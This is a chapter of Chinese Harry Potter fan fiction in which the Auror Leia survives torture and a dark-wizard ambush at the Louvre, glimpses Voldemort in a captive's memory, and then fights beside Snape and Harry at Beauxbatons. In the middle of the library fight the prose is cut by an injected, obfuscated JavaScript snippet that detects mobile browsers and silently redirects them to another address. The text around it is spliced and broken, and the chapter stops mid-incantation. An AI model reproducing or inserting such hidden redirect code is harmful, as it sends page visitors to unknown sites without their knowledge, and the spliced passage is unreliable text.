蕾雅的太阳穴强烈跳动起来,心跳就快要冲出胸口。她的双手在背后紧攥成拳,怒目瞪着男人和女人,莫名的怒意攀上全身。她其实已做好在没有魔杖的情况下施法的准备,只怕汉密尔顿还埋伏在某个角落,会被她误伤,她不敢轻举妄动。 “人都抓到了,到底找到了那件东西没有?”男人转过头,厉声对同伴们催促,“你们这些蠢材,快点,趁其他傲罗赶来之前!” “老大,我们找到了!”角落里,一个黑袍人高声喊道,“但……我在确认真假。” 他们还知道遗物可能是假的? 所以才决定以她作为多加一重的计划保障,确保能获取到地下秘密吗? 男人不耐烦一抬手,一个被魔咒破开的保管盒飞到他的手中。可是,他没有马上去看那样东西,而是把盒子放到傲罗的眼下,嘶嘶地问:“你说,这样遗物是否为真?” 蕾雅看都没看,只直视那人阴冷的双眸,冷冷地说:“我不知道。” “不可能,身为斯内普的枕边人,你不可能不知。” 他冷笑一声,抬起魔杖抵在她的眉间,“好好想想,不想受折磨的话。虽然无论你是否告诉我,结局都一样,我们对那样东西势在必得,但我愿意——”他拖长着句子的尾调,“给年轻人一个机会。” 蕾雅一瞬不瞬地盯着他。她不会眨眼,不会后退,更不会在这种威胁下屈服。“我不知道。”她冷静地重复。 “可惜。”黑巫师的眼神沉了下去,蕾雅清楚听见他没有感情的低念:“钻心剜骨。” 凌厉的绿光在眼前炸裂,像是一朵由万根针组成的烟花。绚丽的艳绿花朵下隐藏的是烧得通红的坚硬钢针,随着他的命令贯穿她的身体,扎在每一个神经元,吞噬每一寸血肉。 眼前的景物失去了形状,被扭曲成一滩模糊的烂泥。窒息的剧痛让心脏好像也放大无数倍,叫嚣着要逃离她残破的身躯。尖叫失控地从喉咙翻滚出来,她疼得眼泪直流,倒抽着寒气,蜷曲着痉挛的身体躺倒在地板,木屑和尘土沾满她的脸颊。 在失去意识的前一刻,男人松开了咒语。她命令自己大口喘气,疼痛的肺却因此而更加疼痛,四肢仍止不住地抽搐。 男人蹲下,一手擒住她颤抖的下颚,冷漠地抖一抖魔杖:“摄神取念!” ——可蕾雅只会替他感到更可惜,他什么也得不到,因为这一招在她仍是学生时就已无效了。而且,没等蕾雅把“遗物”是真的伪造记忆推给他,一束隔着半个房间射来的迅猛红光打断了魔咒。 “没必要对女孩这么粗暴。”汉密尔顿形单影只地跑入房内,他满头大汗,显然是从别处抽身赶来。 倒在地板的蕾雅强撑着抬头,终于得以缓过气,调整稳定自己狂乱的心跳和仍在余痛中抽搐的肌肉。 从汉密尔顿那侧发出的咒语不曾停歇,擦着男人的肩膀过去,黑痣女人被掀飞击倒在地,黑袍巫师们身边的木箱子全部都被浮空——“熊熊烈火!”汉密尔顿怒吼。 一瞬间,无数道奇异的、发光的、迅疾的魔咒在房中织成一张密集的大网。塌陷的天花墙壁、火焰、飓风、绳索、绿芒、血迹,乱七八糟的文物——碎开的花瓶、利剑、画卷、王室宝物……统统混杂成一场风暴,席卷在场的每一个人。 “怎么,你们这么多人干不过一个老头吗?”一个黑袍人的魔杖甩出数道绿光,不屑地嘲讽道。 “速速禁锢!” “阿瓦达索命!” “四分五裂!” 火焰卷曲着高高升腾,烈焰构成一整面火墙,汉密尔顿毫不犹豫冲入火海,不顾受了的伤,趁乱快跑向地上的年轻傲罗。他的魔杖稳稳指向她,试图解开束缚她的绳咒,但在刚碰到她的时分,一发索命仿佛破空刺来的利刃,汉密尔顿勉强旋身躲过,另一个方向的禁锢咒笔直命中了他。 “只是垂死挣扎,但现在该结束了。”狐狸眼男人从一个凹下去的铁箱后缓步走出,魔杖直指汉密尔顿前额,“这次可不会偏了。” 他的黑色披风被火焰撕裂一半,背着火光,残破的边缘和森冷的面纱衬得他分外像个在宣告命运的死神。 “遗物是真的!——别杀他!” 蕾雅嘶哑的嗓音带着几乎压抑不住的恳求。感觉自己比刚才遭遇钻心咒还要痛一万倍,她朝场上人大吼道:“别杀他!别杀他!” “你以为我会信你的鬼话?”男人的手臂在空中落下,由咒语组成的鞭子残忍地抽在傲罗的脸上、身上。最后,是锁舌封喉咒。 “给我闭嘴,你唯一的价值,就只有这条命。” 她彻底发不出声音了。 “准备跑出去,蕾雅。”汉密尔顿趁男人分神,稍微挣脱开束缚,手边的魔杖一斜,成功割裂蕾雅的束缚。他压低声:“我知道你可以,我会为你争取时间。” 蕾雅惊恐地瞪大双眼,攒不住的眼泪夺眶而出。她猛然摇头,不管身体的痛楚挣扎爬起,竭尽全力想推开这位决然如磐石的中年傲罗。 贾斯廷,莫尔,埃文斯—— 不能、不能再有人在她面前死去了。 她不是需要保护的脆弱之人,也不会是斯内普的软肋。 哪怕会伤害到汉密尔顿,她也绝不愿意让他为自己赴死。 “那么,再见了。”凄然的绿光浮现。 她的血液因翻涌的魔力沸腾,像是周遭的燃焰已然穿堂而来,直刺皮肤。她死死地盯住无端行刑的恶人,一遍遍加强脑中的咒语—— “阿瓦达索命——” 神锋无影! 空气微颤,是雷鸣前天空的沉默。 “唔。”被卷入攻击的汉密尔顿皱眉低喊,仄歪地倒在一边。 而刹那间,雷击已至。一阵猛烈的气流将更远的男人和正要爬起的女人甩飞,狠撞在铁箱上。 无数道看不见、听不到的魔刃随同雷鸣降下,划破他们的衣袍、切开他们的皮肉,鲜血喷涌,溅在蕾雅的面庞,溅在汉密尔顿的后背,溅入后面凶狠燃烧的火幕。 “我忍你们很久了。” 没有魔杖,但眼前所有的一切都被她的咒语撕得粉碎。 她站直在仓库中央,如同幽深星海中一颗即将崩塌的恒星。千百柄诞生于不知数个朝代前的利剑和甲胄纷纷回应了她魔力的召唤,凌空腾起,汇聚成莫大的魔力屏障绕在她的身旁。顷刻,凛凛剑光映照出满室的火色,黑巫师们被这无法抗拒的庞大魔力压得连连后退。 “给我听好了,你们这些只敢躲在暗处、鼠蚁般偷生的垃圾!”年轻傲罗在火中咆哮。 “不许再用任何东西要挟西弗勒斯·斯内普!也不许你们再在我面前杀人!” 103.雷鸣 仅仅是一瞬间,庞大的魔力气息便灌满了整个地下空间。 仿佛被地震海啸重重击中,房墙都在剧烈的震颤,发出嗡嗡哀鸣,抖落的石板碎屑与地下遗迹那边飘来的灰烬尘埃一同翻滚在昏暗的长廊,再也分不清它们原本属于哪个时代。 哈利紧握魔杖的手掌早已沁满了汗,他顶着巨大的风压加快脚步,强忍挤压胸膛的不适闷意向前飞奔。 一旁的弗洛拉也在不停调整呼吸,眉眼拧得没有间隙,咬着牙说:“什么鬼东西?他们不会愚蠢到在地底用那种魔法吧?” “还在战斗,就说明还有人活着。”哈利胡乱抹一把头上的汗,顺带把滑落的眼镜用力推了回去,催促道:“我们快走!” 然而,当他们真正抵达那间地下库房的时候,却被仓促入目的火光震得凝滞住。从炽烈燃火中窜出数把利刃与金属碎片,它们被烧得红热,乒乒乓乓地撞在尚未彻底崩碎的断墙,如同一颗颗划过夜空倏然坠毁的陨星。 哈利手腕一抬,马上准备施展清水如泉浇熄火焰。但几乎同一时间,一股令人越加恐惧的魔力波从房内爆发。仅仅是一秒,温度猝然跌降至零,哈利的眼镜起了一层薄雾,透骨的寒意爬满他的后背,继而,空气浮现出无数洁白的冰晶尘屑。 寒风从脚底钻入裤管,哈利刚擦好眼镜,就听见逐渐清亮的“咔嚓”声。他本能地后退一步,低下头去看,地面上有宛如植物生长盛开的冰花蔓延过来。再抬头时,只见方才扑面的炙热火海开始凝滞、扭曲,最终在从场中卷起的冰霜风暴中湮没,被硬生生地冻熄在厚厚的透明冰层里面。 死寂,一切都停息了。 哈利和弗洛拉对视一眼,背贴着墙壁往里窥探,房间已然化为极冻之土。无垠的冰原上,数十把古老的宝剑直直地刺入冰封大地,每一把剑刃都精准地直指一具被冻住的人形躯壳——黑巫师们。 而正中央的身影,悬在半空的指尖还留有没来得及消散的魔力。她面色白得如大雪里的一朵冰花,但手上、身上沾染的却是在这片霜冻中格外灼眼的赤红。 哈利的眼睛一眨不眨,一时间,好像又见到当时在岩洞中施展出火环开路的邓布利多。他从来没有见过这样的蕾雅,也从来不知道她藏有这样的力量。 “蕾雅!”身体和声音终究是抢在想要搞清状况的理智前豁了过去。 她闻声回头,手臂垂落的须臾,人也脱力地跪了下去,她的双膝磕在坚冰上,砸出的裂痕一路延伸到哈利的脚边。“太好了,是哈利。”她松了一口气,对同样沾满血污和打斗痕迹的好友递了个眼神,急促地对他说:“我没事,只是有点用力过度……你快去救汉密尔顿主任,他被我的神锋无影波及了。” “好,我马上。”他们的格兰芬多默契在此刻发挥了作用,哈利没有多问,快步走来,跟从她的指示找到被冰冻住的中年傲罗。 想都没想,他立刻用四分五裂破开层冰,小心翼翼地将汉密尔顿放平在地上,念起了治疗反咒。 “Vulnera Sanentur(速速愈合)——”暖白色的幻光从哈利的冬青木魔杖尖涌出,覆盖在中年傲罗的伤口上。随着第二遍、第三遍的咒语作用,凝结的血液悉数回流,汉密尔顿的呼吸逐渐平稳,脸上的痛苦也随之减缓了。 “神锋无影?”在哈利治疗的时刻,弗洛拉则是扶起虚脱的蕾雅,满脸困惑地问:“那是什么魔咒?等等,蕾雅,这里只有你和汉密尔顿?” 见年轻傲罗点了点头,弗洛拉惊愕地再度环顾四周,“刚刚的魔法是你释放的?你连魔杖都没有拿?” “呃……”蕾雅抽回放在汉密尔顿身上的凝视,刚要回答,耳边捕捉到一声清脆的断裂声。紧接着是金属微微晃动的细响,她注意到一柄正在缓缓下沉的长剑,立刻耸了耸弗洛拉,语气焦急:“以后再给你解释,先把黑巫师束缚住,魔法马上就要解开了。” 弗洛拉颔首,让她靠着一个箱子坐正,便转身走向被止住动作的黑巫师,逐一套下魔法镣铐。 这时,汉密尔顿睁开眼,茫然地望向天花板上不断掉下的冰渣,声音沙哑地开口:“哈利来了?这里怎么……蕾雅呢?” “我没事,主任。”蕾雅立即凑过去,握住汉密尔顿的手,勉强扯出个虚弱的笑容,“谢谢您救了我,只是……对不起,让您也卷入了这场袭击。”她的瞳眸闪烁一下,和哈利一起搀扶着汉密尔顿坐起身。 汉密尔顿没有立即回答,仍旧半有警觉地审视着房间,很快整理清楚刚刚发生的事情。 “看来,你的魔力就跟斯威克主任推测的一样。看来反倒是我成为了你的累赘……”他苦笑一声,咳嗽两下,低头捡起掉落的魔杖,指着不远处黑痣女人躺倒的方位,“银椴木魔杖飞来,戒指飞来。” 他用咒语清理干净上头的污水与血迹,递给黑发傲罗,顺带轻拍了拍她的肩膀:“重要的东西,别再弄丢了。” “……真的很谢谢您。”蕾雅忍住翻涌的泪意,轻轻点头,将戒指戴回手上,就想起斯内普提到的讯息。她随即蹙起眉,重新敛住略微放松的眼色:“主任,布斯巴顿也遭到了袭击,内应竟然是德拉克鲁瓦主任。” “果然是斯威克主任猜得那样。”汉密尔顿并未表现出太多的惊讶,只沉吟道:“这不是斯内普校长的计划不够周密,而是敌人藏得太深,我们防不胜防。”说着,他接过蕾雅递来的补血剂,用眼神示意她自己喝下剩下的缓和剂。喝完补血剂,汉密尔顿转向哈利:“你是从入口那边来的吧,情况怎么样了?” “不太好,”哈利摇头,翠绿的眼眸中浮现浓重的担忧与焦急,“斯威克主任说他们在用一种我们没见过的古代魔法,实在是很接近。刚刚算是将他们逼进了圈套,可还是有一部分黑巫师逃脱了,甚至没来得及上追踪咒。” “追踪咒……”蕾雅低低地重复一声,咽下一半的魔药,嘴唇无意识地碰着瓶口,喃喃自语道:“可他们应该是要赶去布斯巴顿的吧?”她想到些什么,偏头看向已被弗洛拉的魔咒禁锢的狐狸眼男人。她爬起来,不顾还在颤抖的手臂和双腿,对着男人举起魔杖—— 淡绿色的光芒照出了空中尚未散去的冰尘,她为男人残留的呼吸而松一口气,接着手腕一转,把那浸在血泊的身躯被粗鲁翻转。一发没有留手的魔咒狠狠砸在奄奄一息的男人身上,扯开他的面纱。在看清到那张丑恶嘴脸和蜿蜒长疤的一瞬——“摄神取念!” 明知可能会一无所获,汉密尔顿却没有阻止部下。 他只是沉默地站直身,目光深沉地注视尽力打破男人大脑封闭术的蕾雅。 冷汗从额角滑入眼眶,她又一次见到了那个蛇瞳魍魉。 她不知道自己被拉进了什么地方,只觉得这里冷飕飕的,比自己竭力使出的冰冻咒更为砭骨。这是一种直接贴着脊髓扩散的冰冷寒气,就像是到达了某种不再是人间的维度,近乎绝望地灭绝了温度。她闭了闭眼,让寒意造成的混沌视线重新明晰,再睁开时,就明白过来,这里确是埋葬着那些已不能称为“生命”的所在—— 墓地。 她察觉到地上都是魔法烧焦的痕迹。穿过好几个残缺的石头墓碑,她踩踏着被别人压低的杂草前进,望到一棵在黑暗中显得分外高挺的树木。她大步绕过它,树木的后方山岗上,有一座模糊到难以辨认的建筑轮廓。再往前走了几步,她终于看清那是浓重夜雾里诡异无比的十字架,教堂。视线往左移动,她又望到几幢房屋,但大抵是空置的,因为无一处有灯光。 也没有风。 她走得更近,一个身形如枯槁柴木的人矗立在凄凉孤清的气息中央。他的手轻抚着一根白骨形状的魔杖,人也宛若一具了无生气的骷髅,又或者,是某种潜伏在噩梦最深处的、从地底深渊爬出的鬼魔。一条吐着信子的大蛇盘绕在他的身边,发出令人头皮发麻的嘶嘶声。她再仔细看,还有两三个身裹黑斗篷,头戴兜帽与面具的人,哆嗦着跪伏在他的脚边。 伏地魔和食死徒。 这是什么时候的事?蕾雅不知道。说实话,使用摄神取念之前,她并没有做好会再次面对伏地魔和纳吉尼的心理准备,也没想过,即使在别人的记忆里,这阴森到能生生囚禁人意志的压迫感仍会这么真实强烈。她不得不顿下脚步以稳住心绪,便听到一阵斗篷扫过枯草的窸窸窣窣。 有人正朝这边而来。 显然,伏地魔也听到了。他转过身,一双猩红的双眼睁开,两道像蛇一样扁平的鼻线刻在比月光还要浅白的皮肤上,显得恢诡谲怪。他看起来余怒未消,不知刚刚是经历过什么不愉快的事。 “我还以为,是那个胆小鬼终于下定决心回来面对我了。”他冷厉嗤笑一声,并没有继续看跪下的来人,而是对其他卑微如蝼蚁的食死徒们下令:“都先滚回去吧。” “……是,主人。”他们消失在空气里。 等人都退去,伏地魔才踱步上前,那张冷漠的蛇脸上看不出一丝情绪,“你回来得很快,德鲁埃拉。人带来了?”他问。 “是的,主人,按您的意思。”回应他的是德鲁埃拉·罗齐尔——贝拉特里克斯、安多米达和纳西莎的母亲。她随后回头,对身后一样穿着深色斗篷的人示意。 “伊夫·罗齐尔,埃文·罗齐尔的养子。”那人说道,稍微抬头,脸没有像食死徒那样被面具覆盖。蕾雅从丑陋的长疤认出了他,正是狐狸眼的男人。 “不错,不错。”伏地魔轻飘飘地说,“我为埃文的死感到遗憾,你脸上的伤也是那时留下的吧?放心,放心,疯眼汉穆迪活不了多久了。” “父亲是为了掩护我才……。”伊夫的嗓音低下去,正如他再度垂下的头颅。 “听德鲁埃拉说,你继承了埃文的遗志?”伏地魔眯起眼,指尖慢慢转着魔杖。 “是的,”伊夫恭谨回答,正色道:“父亲始终相信您会归来的,所以家族的研究从来没有停下。除了重现大量古代魔法,我们或许也找到了突破时间转换器限制的方法。只是那需要消耗大量的古代魔法资源,所以迟迟没能正式试验。” “十三年了,终于……”伏地魔凶狠的红瞳闪烁一下,他古怪又危险地笑开,目光像一条毒蛇一样攀上微微颔首的德鲁埃拉和伊夫,“很好,很好。罗齐尔家族一如既往地不会让我失望。远比那些畏首畏尾、摇摆不定的废物要强……伊夫,伸出你的手臂。” 说完,伏地魔俯下身,拉起狐狸眼男人的左臂,用魔杖挑开他的衣袖,“从现在开始,你唤我为主人。伏地魔从不亏待帮助他的人,和以前一样,我的财产将交由你们打理,用于召集势力和推进研究。” 伊夫屏住呼吸,任由伏地魔的魔力沿着锐利的魔杖尖刺入他的皮肤,剧烈的烧灼感渗透血肉,一个黑色的标记被烙在上面。他强忍着痛,低头俯身,轻而坚定地感谢:“谢谢您,主人。” “嗯,”伏地魔懒懒地哼了一声,收回魔杖,“记得,若非我亲自召唤,你们没有必要出现在其他食死徒的面前。尤其是——” 忽而,一声幻影移形的爆响割破原本美好的氛围。伏地魔的脸上铺开不加掩饰的残酷,他掐断了话,对罗齐尔们命令:“现在回去吧,我改日会再召唤你们。” 离他们很远的地方,出现一个她再熟悉不过——怎么也不会认错的身影。 他跪倒在地,蒙着食死徒面具,一如曾经她从他记忆中见到的那般低微。 记忆到这里就戛然而止了,无论她怎么试着往前还是往后,都只余下无尽的空白。 “蕾雅。” 汉密尔顿的嗓音穿透浓重的迷雾,直抵她脑海最深处。再然后,是哈利略带关切的话音,犹如穿透熹微的清亮日光:“蕾雅,他晕过去了。” 她抽回魔咒,让意识返回这个不比伏地魔墓地温暖多少的现实房间。 哈利看着她一言不发,全身颤抖,惊恐又惘然地紧盯地上的男人,不自觉地伸手触碰她的小臂,试图给她些许真实的暖意:“你见到了……” “伏地魔,嗯。”蕾雅深吸一口气,强迫自己平复呼吸,努力把散乱的思绪拾掇串起:“在墓地,还有几个食死徒。” “那是他复活的那晚……火焰杯最后一场。”哈利脱口而出,脸上的光倏然消逝,似是触碰到记忆中最痛苦的部分。他跟着蕾雅转到伊夫·罗齐尔的眼神也逐渐凝滞在寒凉的空气里,“这个人当时也在那里吗……?” “他到的时候,现场已经没几个食死徒了。”蕾雅说,“而且……”她不由自主地瑟缩一下,撇开脸,余光瞄到正忙着将黑巫师束缚在一起的弗洛拉,“我……还看见了西弗勒斯,在片段的末尾。” “嗯,那晚,他是在邓布利多的授意下回去的。”哈利咬了咬牙,脑海中不禁回忆起当时在病床上见到斯内普决然离去的背影。 蕾雅默默点头,最后将在伊夫记忆中目见的种种都一一告知了汉密尔顿。 哈利听着,神色越发静默,整个人都紧绷起来,双拳攥得死死的,指尖深嵌,“所以,他这次的计划是时间?想让我们付出过的一切都白费吗?不行!我绝对不会让他们得逞。” “他们不会成功的。”蕾雅看出他的愠色,连忙反握着他的手,笃定坦然道:“西弗勒斯早就布置好的,遗物是假的。” ?“什么?假的?”哈利难以置信地回看她,“也就是说,就算他们得到遗物,赶去布斯巴顿,也……” “也无法得到他们想要的东西。”汉密尔顿从凌乱散落的文物杂碎中找到赝品指环,收入口袋,“都不过是计划,这也是为什么这个仓库防守这么稀薄的原因,本来就是要引着他们进来这里,再一网打尽……只是没想到,他们的目标还是蕾雅。” “也没想到……”蕾雅的眼睛蒙上一层暗淡的昏光,望着门外埃文斯和同伴们倒下的位置。 汉密尔顿看出她的清醒,决定以指示将她的思绪扯回来:“好了,现在不是哀悼的时候。弗洛拉,都好了吗?”他恢复如常的命令语调,确认到房间对侧的女傲罗投来的肯定手势。 汉密尔顿从口袋中又取出一个袖珍公文包和一枚蓝宝石胸针。他将胸针交给蕾雅,解释道:“这是布斯巴顿的门钥匙。蕾雅,哈利,我需要你们马上收起情绪,过去帮忙。虽然瑟克斯顿暗中带着唐克斯他们守在那边,但为了保险起见,你们两人也必须过去。” 说这些话时,他特意看了眼蕾雅,仿佛在无声暗示着什么,扬了下巴。 “可是,”哈利仍有犹豫,“外面的魔法实在是太……” “放心,我们并不是没准备应对的策略。”汉密尔顿的魔杖点在手中的公文包上。公文包嘭地一声膨胀,皮革的表面猛地鼓起抖动,宛若有了生命一般。汉密尔顿抿唇一笑,单手托着公文包,另一手熟练地解开搭扣—— 一声龙啸。 怒吼穿透了墙柱房梁,突破了建筑的限制,直直冲破卢浮宫的夜空。 「我跟哈利现在过来」 传递完信息,蕾雅和哈利齐声道:“门托斯。” …… 冷风和一小片摄魂怪迎接了他们。 从两个人魔杖径直跃出的守护神及时驱散这些骇人的妖怪。回过神来,他们发现原本由二位校长暗中设下的魔法屏障已被破坏。此时,布斯巴顿华美的校门大开着,门前空无一人。 到处都是断壁残垣,灯光都被扑灭了,之前精心布置的曲折小路上散落着残败的花瓣、雕塑残骸、以及彩色玻璃和宝石的碎片,不时反照出里面一闪而过的魔咒辉光。 “看样子,他们也成功将黑巫师赶到了一起,”哈利认清方向,跟着矫健的牡鹿和昂首的小狮子,边跑边说道:“不知道为什么,这让我想起了霍格沃茨大战的那天。” “是啊,就差隐形斗篷了。”蕾雅随口回应他。 “我带着。”哈利说,“但我一点都不想用,想堂堂正正打一场。” “好啊,那我们就堂堂正正地打一场!”蕾雅偏过头,眼中盈满愤怒和决意,“为了莫尔他们!” 不详的魔法气息挟裹着战斗的轰鸣与惊呼从远处飘过来。他们向着声音穿行,迅速拐入还算完好的学校主楼。 室内仅剩一片的狼藉,地面持续微弱地颤动,木屑和尘云不时从沉入黑暗的穹顶抖落,他们绕开各种突如其来的障碍,跑到门厅的位置。一顶曾经华丽、如今破碎不堪的水晶灯静躺在地,有零散的月光从烧焦窗框边透入,将满地透明的碎片映得犹如凄清寂寥的星宿。 他们踩着这些破碎的星光前进。 “我想他们大概也用了那种魔咒。”哈利低声说。 “那种魔咒?”蕾雅凭借婚姻誓约的魔法感受到丈夫的位置,领着哈利绕向图书馆的侧翼,偶尔用魔咒挑开拦路的断石。 哈利没来得及回答她,刚踏进图书馆大厅,地板开始激烈摇晃,仿佛底下潜伏着一只正在苏醒的深海巨兽。他们俯下身保持平衡,继而,自黑暗深处炸开电光火石的刺目,四处飞溅的碎片和利箭般无法看清的攻击从头顶飞旋而过。 两人的铁甲咒光圈崩散下去的一瞬,远远地,就眺望到一团悬在大厅正中的黑雾。它以极不自然的方式翻滚、扭曲、坍缩,不断变幻着形状,像是一个张开血盆大口撕裂时空的黑洞旋涡,附近所有物品都被悬浮着吸进去。他们艰难地稳住身形,避开无妄横穿的攻击接近,却感到脸上似乎有无数蚂蚁在啮咬,并且,越是靠近那团黑雾,耳中便越能感到无法忍受的剧痛。 “斯内普!你真的以为能逃离过去吗?!” “叛徒!黑魔王的叛徒!邓布利多的走狗!” 声嘶力竭,变了调的人声在咆哮,嘶吼,尖叫,哭嚎混杂交错—— 然后,近在咫尺的爆炸带来了可怕的冲击。 蕾雅和哈利在地板上滚出数圈,背好不容易贴到走廊墙壁,他们望到了很多璀璨的亮光,以及亮光之后,站定在通往图书馆地下台阶前的斯内普。 他面色沉定,孤身一人,黑袍衣袂皆因狂暴的魔力气息高高翻起,举着魔杖的手臂却平直到没有一点晃动。他的魔杖尖端,不断扩散开耀眼的光幕。 那是一道道浩大的光墙。每当一层被张牙舞爪的黑雾撕碎,新的另一层又立即腾空横亘,没有让步半分的打算,宛如不屈不挠刺破黑夜的拂晓晨曦。 黑烟只能不住地提高攻击的频率,强大的魔法对撞让整座宽敞的大厅寸寸龟裂,残余的挂毯和吊灯都哗然坠落,撞裂在地上,又成为烟影的一部分。 “西弗勒斯!”她忍受着萦绕散不掉的耳鸣,准备冲入战场。 “别过来!”斯内普的低吼贯穿了昏黑的厅堂,他的魔咒丝毫没有减弱,平时缺乏表情的面庞在光照下显得更为冷冽,如锋刃的凌厉,“就是这个魔咒,才让克罗菲尔顿重伤。” “蕾雅,你的脸……我好像也——”哈利本能地拉住身边人,恰好也让她躲过一根砸落的横梁。他缓过气,手背擦了一把脸,顺着斯内普的话说下去:“我刚才就想说,就是这个魔咒。” 蕾雅跟着哈利呆呆地抬手,果然也摸到一些脸上渗出的鲜热液体。 蕾雅再次转回浮在半空的烟雾,几乎是在下一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190523|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就制定出的策略:“水,哈利,清水如泉!” “清水如泉!”两个人齐声呼喊。 两道湍急水柱破空喷涌,毫无犹豫地扑向那团黑烟。黑烟突然隆起,一小簇烟雾顺沿水流中间的缝隙刺出,像一杆尖锐长矛那样冲向还在施咒的蕾雅和哈利,但转眼间,斯内普前方的弧光骤闪溃散,转而重现在二人不远的前方,狠厉地挡下突袭。 黑烟旋即被飞溅的水流瀑布浇灌,斯内普的魔杖凛冽一挥,勾出的魔力牵动着将流水旋卷,拧成一个漩涡。玻璃般剔透的漩涡跟从他魔杖划开的轨迹合拢,形成一个硕大无比的水牢,彻底浸没包裹了黑烟。 “荧光闪烁。”蕾雅的魔杖照亮了在水中扭动的黑影,但很快,那影子就慢慢失去了力量,最终显现出一个衣衫破烂不堪的人形。 “果然是什么禁忌的魔咒吗?”哈利神色凝重,若有所思的观察着。 “古代魔法。”斯内普冷淡答他,手腕一转,水球突然开始往上,浮到穹顶的最高处,“过来,你俩。” 哈利和蕾雅立刻靠近他。 “铁甲咒。”斯内普说。 “盔甲护身!”两个人施展出防护罩。 斯内普的魔杖忽然朝下一指——“嘭”水球如同从天而降的巨石,触地绽出震耳回响。炸开的水浪翻卷如潮,激荡地撞在四周的木墙与地板。漫天的水花顿时急涌泼溅,最后汇聚成一条顺沿长廊淌下的奔涌长河,只有他们这一侧没有被波及。 “速速禁锢。”斯内普的魔杖无情直指地面瘫痪的人影,随后移开,对准地上的洪流,“Evanesco(消失咒)。” 水退浪散,室内重归于宁静。 “这里……”蕾雅看了看被捆在立柱上血肉模糊的黑巫师,或许是食死徒。她没打算在这多想,只又看了看斯内普身后好几个同样被固定在柱子、石护栏、窗沿下的巫师。 除了这个浑身湿透、手脚都折断的可怜虫,好几个人身上都布满似是利刃造成的伤口,显然是神锋无影造成的。她往斯内普靠了靠,抬眼问到:“呃,你一个人……?” 斯内普没有立刻回答,深黑的眼眸往下转动,无声地扫过妻子凌乱的发结、破损的外套,还有她满身结块的血渍。 他甚至没有思考,就抬手拨开她额发,指节贴上她的下颚,抹掉她面侧的血珠。他握住她被鲜血染得通红的手,拇指轻轻按在她的掌心,眉心紧锁:“你受伤了?为什么不喝魔药?”低沉的嗓音压着一丝仅存不多的冷静,可以听得出对造成她伤害的人的愠怒。 “我没有,身上的血都不是我的,哈利作证。”蕾雅摇了摇头,回握住男人的手。 “我作证,她很好。”哈利悄悄在心里翻了个白眼,决定不去在意这些总是时不时忘记自己身处战场的人。他自顾自地擦掉面颊的血,调整好眼镜,犹有顾虑地盯着地上奄奄一息的黑巫师们。 “边走边说。”斯内普顺势牵起她的手,领着他们往战场中心走去。“一部分黑巫师中了陷阱,其余的,斯塔克洛夫和瑟克斯顿设防将他们控制在庭院了。只是,那个魔法的确不好对付,难以接近。” “刚刚在卢浮宫我们的确只能防御,不好反击。”哈利接过话,“看来这边也是同样的局面。” 哈利一扭头,就有一群湿漉漉的摄魂怪啸叫着从破损的窗户墙垣灌进来。但下一秒,银白色的鹫鹰和狮子凭空出现,猛扑向前,将魔法粒子洒满一室,也照出了于长夜中往前的道路。 “一种以燃尽□□为代价,瞬间换取巨大魔力的古代黑魔法。”斯内普继续甩出守护神咒,冷哼一声,“愚蠢至极的自毁行为,最低等的黑魔法。” “刚刚汉密尔顿主任放出了之前的龙,卢浮宫那边的战斗应该不会持续很久了。”蕾雅分析道,让守护神小狮子守住另外一侧豁口的摄魂怪。 接近庭院的片刻,更多的摄魂怪、叫喊声,混杂着魔力和咒语的余波迎面扑来。浓重的魔力雾气弥散四周,集聚而成的穿堂风狂乱地钻入破损的门洞,盛大凌人的魔法狂澜扫尽每一个所到的角落。 眼前,本应月朗风清的夜空被极速形成的黑云遮盖,无光的晦暗急骤下沉。庭院的形状已无法被分辨,黑魆魆的雾霾滚滚袭来,吞没了光线,吞没了星月,吞没了世界。 唯一还可以看见的,是一个偌大的保护屏障,淡蓝色的光芒如一汪山渊明潭,在黑暗中显得格外醒目。那是在场傲罗们拼命竖立的防护咒堡垒坚壁,它将布斯巴顿魔法学院的宴会厅侧翼隔绝在黑潮外,被肆虐的黑影和俯冲而下的摄魂怪碰撞出涟涟水波。 “这边也不会持续太久了。”斯内普的脚步一滞,无意识地将蕾雅耸到稍后的地方,语速很快:“傲罗们坚持不住。” 是的,他话音刚落,堡垒就被撞开一条长长的裂缝,勉强赶上的修补过后却是更多的破裂,也许只要黑影一鼓作气,这面薄墙就会全然崩毁。 “波特,用隐形斗篷去找斯塔克洛夫和瑟克斯顿,让他们准备反击。” “好。”哈利转身披上隐形斗篷,跑开了。 斯内普转向身边的年轻傲罗:“把魔药喝掉,我知道你不希望今天再有任何人死去。” “我不想,不能再死一个人。”她果断地拿出藏在内侧口袋的镶着金丝的魔药瓶。 “那就拿出你最大的力量。”蕾雅侧过脸,正好对上斯内普低垂的眼神,黑曜石般的眼瞳里刻满与霍格沃茨大战时如出一辙的肃杀。 她被他的凛然感染,咬开药瓶,仰头喝完深红的魔药。药液滑入喉咙,一阵如温火的暖热从心脏的位置扩散,急速燃至全身,唤醒了每一寸因过载而疲惫的神经。 “Prepared(准备好了)?” “I am(没问题)。”她紧了紧手里的魔杖,答道。 斯内普了然地扬起唇角,侧开身,蕾雅跨出一步,与他并肩立于布斯巴顿依旧恢宏的拱门下。 “魔杖向上。”两人的魔杖同时指向天空。 “Audite vocem meam(请听我声)。”黑发巫师开口吟诵古老的咒语。 “……Audite vocem meam。”年轻傲罗跟随着他的声音,一字一词端正地念到。 “Ignis et Aether(火与空气)。” “……Ignis et Aether。”她谨慎着每一个音节的咬字,生怕出了任何差错。 随着咒语,整个天地好像都在回应他们的呼唤。那些沉眠于树林枝桠、河流水滴、土地泥壤里的自然魔力纷纷具象成万千丝缕的耀目银辉,缠绕在他们周身。 “Aqua et Terra(水与大地)。” “……Aqua et Terra。”银丝快速流转编织,将他们裹在仿若众神垂落的圣环之中,逐渐失控的强光将这里一切、包括那团可怖的黑影照得透亮。 “Coniunge vires(同心合力)。” “Coniunge 